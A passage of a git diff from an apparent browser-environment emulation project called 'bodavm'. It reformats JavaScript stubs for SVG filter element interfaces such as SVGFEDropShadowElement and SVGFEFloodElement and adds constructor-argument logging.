enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "scale", {configurable:true, enumerable:true, get:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "scale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "xChannelSelector", {configurable:true, enumerable:true, get:function xChannelSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "xChannelSelector_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "yChannelSelector", {configurable:true, enumerable:true, get:function yChannelSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "yChannelSelector_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEDisplacementMapElement对象 + +bodavm.memory.globalobj['SVGFEDisplacementMapElement'] = function SVGFEDisplacementMapElement() { + console.log_copy('SVGFEDisplacementMapElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDisplacementMapElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDisplacementMapElement'], "SVGFEDisplacementMapElement"); +bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDisplacementMapElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "scale", { + configurable: true, + enumerable: true, + get: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "scale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "xChannelSelector", { + configurable: true, + enumerable: true, + get: function xChannelSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "xChannelSelector_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "yChannelSelector", { + configurable: true, + enumerable: true, + get: function yChannelSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "yChannelSelector_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEDistantLightElement.js b/env_xbb_lastest_jsdom/env/SVGFEDistantLightElement.js index a77db2ed..620e67ab 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEDistantLightElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEDistantLightElement.js @@ -1,7 +1,35 @@ -// SVGFEDistantLightElement对象 -bodavm.memory.globalobj['SVGFEDistantLightElement'] = function SVGFEDistantLightElement(){if (!(this instanceof SVGFEDistantLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDistantLightElement'], "SVGFEDistantLightElement"); -bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDistantLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "azimuth", {configurable:true, enumerable:true, get:function azimuth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "azimuth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "elevation", {configurable:true, enumerable:true, get:function elevation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "elevation_get", arguments)}, set:undefined},'prototype'); +// SVGFEDistantLightElement对象 + +bodavm.memory.globalobj['SVGFEDistantLightElement'] = function SVGFEDistantLightElement() { + console.log_copy('SVGFEDistantLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDistantLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDistantLightElement'], "SVGFEDistantLightElement"); +bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDistantLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "azimuth", { + configurable: true, + enumerable: true, + get: function azimuth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "azimuth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "elevation", { + configurable: true, + enumerable: true, + get: function elevation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "elevation_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEDropShadowElement.js b/env_xbb_lastest_jsdom/env/SVGFEDropShadowElement.js index 41cefca9..06afcf1c 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEDropShadowElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEDropShadowElement.js @@ -1,16 +1,107 @@ -// SVGFEDropShadowElement对象 -bodavm.memory.globalobj['SVGFEDropShadowElement'] = function SVGFEDropShadowElement(){if (!(this instanceof SVGFEDropShadowElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDropShadowElement'], "SVGFEDropShadowElement"); -bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDropShadowElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationX", {configurable:true, enumerable:true, get:function stdDeviationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationY", {configurable:true, enumerable:true, get:function stdDeviationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "setStdDeviation", {configurable:true, enumerable:true, writable:true, value:function setStdDeviation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "setStdDeviation", arguments)}},'prototype'); +// SVGFEDropShadowElement对象 + +bodavm.memory.globalobj['SVGFEDropShadowElement'] = function SVGFEDropShadowElement() { + console.log_copy('SVGFEDropShadowElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDropShadowElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDropShadowElement'], "SVGFEDropShadowElement"); +bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDropShadowElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationX", { + configurable: true, + enumerable: true, + get: function stdDeviationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationY", { + configurable: true, + enumerable: true, + get: function stdDeviationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "setStdDeviation", { + configurable: true, + enumerable: true, + writable: true, + value: function setStdDeviation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "setStdDeviation", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEFloodElement.js b/env_xbb_lastest_jsdom/env/SVGFEFloodElement.js index 70afc4a4..f7f7a3e0 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEFloodElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEFloodElement.js @@ -1,10 +1,59 @@ -// SVGFEFloodElement对象 -bodavm.memory.globalobj['SVGFEFloodElement'] = function SVGFEFloodElement(){if (!(this instanceof SVGFEFloodElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFloodElement'], "SVGFEFloodElement"); -bodavm.memory.globalobj['SVGFEFloodElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEFloodElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEFloodElement对象 + +bodavm.memory.globalobj['SVGFEFloodElement'] = function SVGFEFloodElement() { + console.log_copy('SVGFEFloodElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFloodElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFloodElement'], "SVGFEFloodElement"); +bodavm.memory.globalobj['SVGFEFloodElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEFloodElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEFuncAElement.js b/env_xbb_lastest_jsdom/env/SVGFEFuncAElement.js index 5cfff039..8b900c00 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEFuncAElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEFuncAElement.js @@ -1,11 +1,55 @@ -// SVGFEFuncAElement对象 -bodavm.memory.globalobj['SVGFEFuncAElement'] = function SVGFEFuncAElement(){if (!(this instanceof SVGFEFuncAElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncAElement'], "SVGFEFuncAElement"); -bodavm.memory.globalobj['SVGFEFuncAElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncAElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGFEFuncAElement对象 + +bodavm.memory.globalobj['SVGFEFuncAElement'] = function SVGFEFuncAElement() { + console.log_copy('SVGFEFuncAElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncAElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncAElement'], "SVGFEFuncAElement"); +bodavm.memory.globalobj['SVGFEFuncAElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncAElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEFuncBElement.js b/env_xbb_lastest_jsdom/env/SVGFEFuncBElement.js index 3cb99812..4dd19150 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEFuncBElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEFuncBElement.js @@ -1,11 +1,55 @@ -// SVGFEFuncBElement对象 -bodavm.memory.globalobj['SVGFEFuncBElement'] = function SVGFEFuncBElement(){if (!(this instanceof SVGFEFuncBElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncBElement'], "SVGFEFuncBElement"); -bodavm.memory.globalobj['SVGFEFuncBElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncBElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, 